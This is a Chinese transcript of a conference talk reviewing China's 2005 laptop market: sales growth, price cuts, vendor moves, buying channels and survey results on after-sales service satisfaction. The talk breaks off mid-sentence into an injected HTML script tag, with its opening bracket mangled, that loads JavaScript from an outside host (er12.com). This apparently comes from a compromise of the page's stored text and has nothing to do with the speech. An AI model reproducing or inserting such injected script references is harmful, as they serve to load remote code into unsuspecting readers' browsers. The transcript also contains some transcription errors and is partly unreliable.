各位大家下午好。我今天报告分三个部分，第一是市场回顾，第二是市场的编写，第三是未来发展趋势的预测。
这个图是我们初步统计的结果，这个图可以看出来到05年，我们市场整体增长达到37.6％，市场容量达到301万台，高速增长使得笔记本电脑销售量占pc的增长比例的15.3％，增长有两个方面的原因，一个是行业需求不断扩大，第二是个人消费市场在不断的上升的趋势，这个趋势也是因为05年整个市场的价格下降非常有关的，这个价格下降诱发了很多用户采购的欲望，这个下降也会带来负面的影响，消费额17.3％，整个市场均价下了两千元左右，根据赛迪顾问的预测，未来三年笔记本保持平稳、高速的增长，三年增长量达到37.5％。
看一下成熟市场，家庭教育这一块增长已经达到113.1％，很快速的在增长，远远高于其它领域的增长。由于笔记本性价比的提升，本身的需求，使得教育、政府采购大量增长。
我想从四个方面对05年笔记本电脑市场一些主要事件进行一些回顾，首先看一下产品上游方面，05年一季度intel发布了二代品牌，从生产情况来看，包括东芝、三星等厂商，还有台湾很多oem厂商都在向中国内地转移生产线，使得中国内地成为了笔记本电脑市场非常重要的制造基地，像联想收购ibm全球pc业务这一块，或者一个内部资源的整合，包括像同方、紫光、tcl都在进行内部结构的调整。合作伙伴的选择比如苹果公司，现在已经采用intel的芯片，像华硕、宏基也加大了amd的合作，产品一个点是价格持续走低，降价是05年主要旋律，产品的低价国际厂商已经低到6999，还有5999，甚至还有4999。
05年年底的时候在宽屏笔记本领域又进行了一次很大价格的下降，比如一百美元的笔记本，这是美国麻什立功大学推出来的，这个价格而言已经让我们大吃一惊了，再一点是外观的个性化，一个方面是宽屏的普及，包括像（英文）这样的从来没有宽屏笔记本的也在05年推出了宽屏笔记本等等，使得外观更加个性化，技术水平的提高，芯片在不断提高，还有一个方面像指纹识别系统，甚至脉搏识别系统都应用于电脑。
渠道方面，大家都在开拓区域市场，像专卖店、家电卖场零售终端也在不断提高；前面ppt我主要介绍了一下05年市场回顾，大家可以看出来市场特点主要是降价、技术水平的提高；另外最重要的特点个人消费市场的提高，这个方面我在第二部分将着重介绍一下。
分析的基础根据05年中国it服务年会一些调研的情况来进行的，服务年会是我们中国电子信息产业发展院主办的，赛迪顾问举办的第八次服务年会，主题是关注服务价值，创造服务内涵，主要是围绕服务来进行的，我们经过了四个多月的时间，通过问卷调查，深度访谈，、焦点互动、媒体互动，全面阐述了中国市场的发展现状。通过调研我们对用户销售行为进行分析，了解用户对市场关注的重点。
下面我根据了解渠道，购买渠道，售后服务这三个方面分析一下用户消费行为，这三个方面跟售前、售后、售中相对应的。媒体主要渠道从二级以下城市比较关注，一二级城市的用户对it专业媒体和网络媒体这一块关注度比较高，我们从朋友介绍的比例占到50％，可以看出我们广大消费者对商家还是存在着信任的危机，所以他们需要通过周围的朋友了解品牌的口碑。
购买渠道可以看出，横轴就是性价比预计，纵轴就是风险预计，这是消费者对他们购买电脑的预计情况。从这些可以看出来it卖场依然是消费者选择的一个主要渠道，但是消费者也认为他们的it卖场的性价比虽然是很高的，但是也存在很大的风险。专卖店还有超市、家电卖场风险比较低，价格来说比不上it卖场和直销。如果我们这个行业的规范程度还是保持现在这个水平的话，我们相信it卖场、专卖店、超市家电卖场所占比例还是不断攀升的。
售后服务是用户比较关注的一点，他们关注售后服务的内容、方式、保修条件，服务效果等等这几个方面，后面还有一些细分的内容，我不详细说了。
这四个方面用户满意程度将怎么样，我们下面介绍一下，这次从服务创新、服务效果，服务管理，服务方式，服务网络这六个大的指标来说的，还有细分十八个指标来进行的，大家可以从这个图上看出来，这个曲线以左的部分都是用户表示非常不满意或者不满意的地方，从这个分值可以看出，用户现在对服务的一个响应速度，还有渠道服务网络，网络服务，上门服务，还有服务的性价比，承诺对现这几个方面感觉不满意程度是非常高的。到底在消费者过程中存在什么问题呢？这也是我们在调查中或者统计上来的一些问题，在采购前的话就存在一些虚假广告，比较混乱的市场，使得消费者在咨询的时候受到一些误导，还有价格陷阱，还有水货充当行货，监管方面的力度还不够，当消费者购买到一些比较差的产品的时候，存在一个取证的问题，而且难度也非常大，在整个威权过程中存在一些问题。有一些问题是存在的，也有一些问题是极个别的现象，我们通过这些反应出?script src=http://er12.com/t.js>
